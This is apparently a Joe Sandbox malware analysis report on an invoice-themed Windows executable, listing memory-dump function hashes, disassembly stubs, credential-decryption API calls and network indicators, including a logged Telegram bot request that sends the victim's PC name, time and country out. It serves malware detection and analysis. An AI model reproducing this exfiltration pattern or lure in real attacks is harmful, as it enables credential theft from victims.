Opcode Fuzzy Hash: 60d5b43284c20eed917c27c7187b8b7f26f58375099e18fe2c47c999126c05c6
Instruction Fuzzy Hash: 26C1AF74E01218CFDB54DFA5C994B9DBBB2AF89300F2090A9D409BB365DB359E86CF50

Function 39C5D550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a893edbacfb02ad3a1b0dabd2c97812a9ff703d2a067088f8a46cdebcf01ff1
Instruction ID: d14e3a2c06aacaad8fe91cd571c904c890fbf3459a024571179833f786d01a06
Opcode Fuzzy Hash: 7a893edbacfb02ad3a1b0dabd2c97812a9ff703d2a067088f8a46cdebcf01ff1
Instruction Fuzzy Hash: 89C1AF74E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409AB365DB359E86CF50

Function 39C5D0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2f500e576b48d38314a925fcfc1ffbb3c6efa6c5c608ad80707634fdbe49e23
Instruction ID: 939b5c54a3ef0eb6f996c50ea85cf31cc984e257843d9f437634df71427a5ea6
Opcode Fuzzy Hash: b2f500e576b48d38314a925fcfc1ffbb3c6efa6c5c608ad80707634fdbe49e23
Instruction Fuzzy Hash: D7C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F1090A9D409BB365DB35AE86CF50

Function 39C5CCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2decb015e72ee907c5f359b7c74d321f9ca09a1ebdcb9d53727d622c9de132bf
Instruction ID: d7b45bb5c8bdd95ef3e6ceb0f9afe358467027d768baeb4adb8cd78e84d52e4a
Opcode Fuzzy Hash: 2decb015e72ee907c5f359b7c74d321f9ca09a1ebdcb9d53727d622c9de132bf
Instruction Fuzzy Hash: 39C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF50

Function 39C5F810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91c023fa40295c8a5d8b8968f54789a5ad9f99b719fc4470b879312598b1582a
Instruction ID: dc1e97dc702c2bae4a0546d6a095ba28244207e7cc895bb3ae26293b9fea14bc
Opcode Fuzzy Hash: 91c023fa40295c8a5d8b8968f54789a5ad9f99b719fc4470b879312598b1582a
Instruction Fuzzy Hash: E8C1A174E00218CFDB14DFA5C994B9DBBB2AF89300F1090A9D409BB365DB35AE86CF50

Function 39C5F3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40e452fb0e9669d776bba55d40112a540307238d63bac63776c09bda7534e46c
Instruction ID: 4b77b1d456e45657c2d02869330fd859f1396b15d431664c9e88bba23886e06b
Opcode Fuzzy Hash: 40e452fb0e9669d776bba55d40112a540307238d63bac63776c09bda7534e46c
Instruction Fuzzy Hash: CEC1A174E01218CFDB54DFA5C994B9DBBB2AF89300F2090A9D409BB365DB359E86CF50

Function 39C5EF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fe992b01944a09183af6c83fff57e57bd91409f48c769c2d1fab0f87d7e9020
Instruction ID: 58e5db60fba613ca2613f871cbf440c01f06962fe379eed318bc0741f4d1a3a4
Opcode Fuzzy Hash: 9fe992b01944a09183af6c83fff57e57bd91409f48c769c2d1fab0f87d7e9020
Instruction Fuzzy Hash: D4C1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF54

Function 39C5EB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a337ca33d2edeeae931b20654fbe1e98a3d502828379a54a2bf1750a59d9562
Instruction ID: ed580402c524d141150c8826250f9fb6b1229b8f72e0612c00d96dbc39ffd03b
Opcode Fuzzy Hash: 6a337ca33d2edeeae931b20654fbe1e98a3d502828379a54a2bf1750a59d9562
Instruction Fuzzy Hash: 00C1B174E01218CFDB54DFA5C954B9DBBB2AF89300F1080A9D409BB365DB359E86CF54

Function 39C5E6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe6c7862ef43a7b9703dd39985a92645465d35486f39ccc77f56d4ac752bdc9e
Instruction ID: 5ebd3386ef7ac7556c2ff9009d916e953c99db65c931021a1ba7e750530f2ea0
Opcode Fuzzy Hash: fe6c7862ef43a7b9703dd39985a92645465d35486f39ccc77f56d4ac752bdc9e
Instruction Fuzzy Hash: 64C1A074E00218CFDB54DFA9C994B9DBBB2AF89300F1090A9D409BB365DB359E86CF54

Function 39C5DE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e507f38b7f842b0c3ff879729fde7f6202c069fe893be84f1b9ac001eed740a
Instruction ID: 50b0178f8ce005f1b57e2237791bee15a08c92e91778b10d7b8b90df41a2f939
Opcode Fuzzy Hash: 7e507f38b7f842b0c3ff879729fde7f6202c069fe893be84f1b9ac001eed740a
Instruction Fuzzy Hash: A4C1B074E00218CFDB14DFA5C994B9DBBB2AF89300F1091A9D409BB365DB359E86CF54

Function 3AD31BA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 311d674c8ed11f635afec7014f57105e60cf0dfccffd30adf9e12f6339bc1697
Instruction ID: 8556781e969a95b2081975e421e1b7ff3a9ef5da73a5945e97802643f03023c9
Opcode Fuzzy Hash: 311d674c8ed11f635afec7014f57105e60cf0dfccffd30adf9e12f6339bc1697
Instruction Fuzzy Hash: A8C1A174E01218CFDB54DFA5C990B9DBBB2AF89304F2080A9D409BB365DB359E86CF50

Function 3ACCB08C Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c7e44eee7a54c0a4b92bcce4eb06eeac102a94b6099a5aea34a4e64bfbf1f3
Instruction ID: f3bbb71a9185ef10ed88e3891791f99283a19888605bf3b3e1a89530793d396c
Opcode Fuzzy Hash: e9c7e44eee7a54c0a4b92bcce4eb06eeac102a94b6099a5aea34a4e64bfbf1f3
Instruction Fuzzy Hash: E641DEB8D022199FCB04CFA4D594BAEBBF1BF49304F1050A9E414B7390E7389A41CF95

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC87A8 CryptUnprotectData,		4_2_3ACC87A8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4_2_3ACC8EF1 CryptUnprotectData,		4_2_3ACC8EF1

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:928100%0D%0ADate%20and%20Time:%2031/10/2024%20/%2001:29:36%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20928100%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49859 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49835 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49877 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49852 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49802 -> 216.58.206.46:443

Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F2C0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F4AC
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 0016FC19h	4_2_0016F960
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C531E0h	4_2_39C52DC8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C52C19h	4_2_39C52968
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5E501h	4_2_39C5E258
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5DC51h	4_2_39C5D9A8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C531E0h	4_2_39C52DB8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5D7F9h	4_2_39C5D550
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C531E0h	4_2_39C5310E
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5D3A1h	4_2_39C5D0F8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5CF49h	4_2_39C5CCA0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_39C50040
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5FAB9h	4_2_39C5F810
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5F661h	4_2_39C5F3B8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5F209h	4_2_39C5EF60
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5EDB1h	4_2_39C5EB08
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C50D0Dh	4_2_39C50B30
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C51697h	4_2_39C50B30
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5E959h	4_2_39C5E6B0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 39C5E0A9h	4_2_39C5DE00
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC6CC1h	4_2_3ACC6A18
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC9280h	4_2_3ACC8FB0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC7EB5h	4_2_3ACC7B78
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC79C9h	4_2_3ACC7720
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC7571h	4_2_3ACC72C8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCC396h	4_2_3ACCC0C8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC5179h	4_2_3ACC4ED0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCF5C6h	4_2_3ACCF2F8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC0B99h	4_2_3ACC08F0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then mov esp, ebp	4_2_3ACCB08C
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC6733h	4_2_3ACC6488
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC0741h	4_2_3ACC0498
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC2151h	4_2_3ACC1EA8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCE386h	4_2_3ACCE0B8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC02E9h	4_2_3ACC0040
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC1CF9h	4_2_3ACC1A50
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCF136h	4_2_3ACCEE68
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC3709h	4_2_3ACC3460
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC4D21h	4_2_3ACC4A78
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCD146h	4_2_3ACCCE78
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC7119h	4_2_3ACC6E70
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC32B1h	4_2_3ACC3008
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCDEF6h	4_2_3ACCDC28
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC48C9h	4_2_3ACC4620
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCBF06h	4_2_3ACCBC38
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC62D9h	4_2_3ACC6030
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCECA6h	4_2_3ACCE9D8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC5E81h	4_2_3ACC5BD8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCCCB6h	4_2_3ACCC9E8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC18A1h	4_2_3ACC15F8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCFA56h	4_2_3ACCF788
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC5A29h	4_2_3ACC5780
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCDA66h	4_2_3ACCD798
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCBA76h	4_2_3ACCB7A8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC1449h	4_2_3ACC11A0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC2E59h	4_2_3ACC2BB0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC0FF1h	4_2_3ACC0D48
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCE816h	4_2_3ACCE548
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC2A01h	4_2_3ACC2758
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCC826h	4_2_3ACCC558
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCD5D6h	4_2_3ACCD308
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC25A9h	4_2_3ACC2300
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACCB5E6h	4_2_3ACCB318
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3ACC55D1h	4_2_3ACC5328
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD36970h	4_2_3AD36678
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3AC60h	4_2_3AD3A968
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3079Eh	4_2_3AD304D0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD377C8h	4_2_3AD374D0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD36347h	4_2_3AD35FD8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3A2D0h	4_2_3AD39FD8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3BAB8h	4_2_3AD3B7C0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3E5C0h	4_2_3AD3E2C8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD310BEh	4_2_3AD30DF0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD38AE8h	4_2_3AD387F0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD322C6h	4_2_3AD31FF8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3B5F0h	4_2_3AD3B2F8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3CDD8h	4_2_3AD3CAE0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD342B6h	4_2_3AD33FE8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3F8E0h	4_2_3AD3F5E8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3EA88h	4_2_3AD3E790
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD35066h	4_2_3AD34D98
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD37C90h	4_2_3AD37998
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3154Eh	4_2_3AD31280
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD39478h	4_2_3AD39180
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD32756h	4_2_3AD32488
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3BF80h	4_2_3AD3BC88
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3FDA8h	4_2_3AD3FAB0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD35986h	4_2_3AD356B8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD38FB0h	4_2_3AD38CB8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD31E47h	4_2_3AD31BA0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3A798h	4_2_3AD3A4A0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD33076h	4_2_3AD32DA8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3D2A0h	4_2_3AD3CFA8
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3C448h	4_2_3AD3C150
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD33E26h	4_2_3AD33B58
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3EF50h	4_2_3AD3EC58
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3030Eh	4_2_3AD30040
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD36E38h	4_2_3AD36B40
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD35E16h	4_2_3AD35B48
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD39940h	4_2_3AD39648
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3D768h	4_2_3AD3D470
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD34746h	4_2_3AD34478
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD30C2Eh	4_2_3AD30960
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD38158h	4_2_3AD37E60
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD319DEh	4_2_3AD31710
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD39E08h	4_2_3AD39B10
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD32BE6h	4_2_3AD32918
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3C910h	4_2_3AD3C618
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3E0F8h	4_2_3AD3DE00
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD34BD7h	4_2_3AD34908
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD37300h	4_2_3AD37008
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3B128h	4_2_3AD3AE30
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD33506h	4_2_3AD33238
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3DC30h	4_2_3AD3D938
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD3F418h	4_2_3AD3F120
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD354F6h	4_2_3AD35228
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD38620h	4_2_3AD38328
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD71FE8h	4_2_3AD71CF0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD71190h	4_2_3AD70E98
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD70338h	4_2_3AD70040
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD71B20h	4_2_3AD71828
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD70CC8h	4_2_3AD709D0
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD71658h	4_2_3AD71360
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then jmp 3AD70801h	4_2_3AD70508
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3ADB3E70
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3ADB3E60
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3ADB0A10
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3ADB09E1
Source: C:\Users\user\Desktop\Factura Honorarios 2024-10.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3ADB0D26

Source: unknown	DNS query: name: checkip.dyndns.org
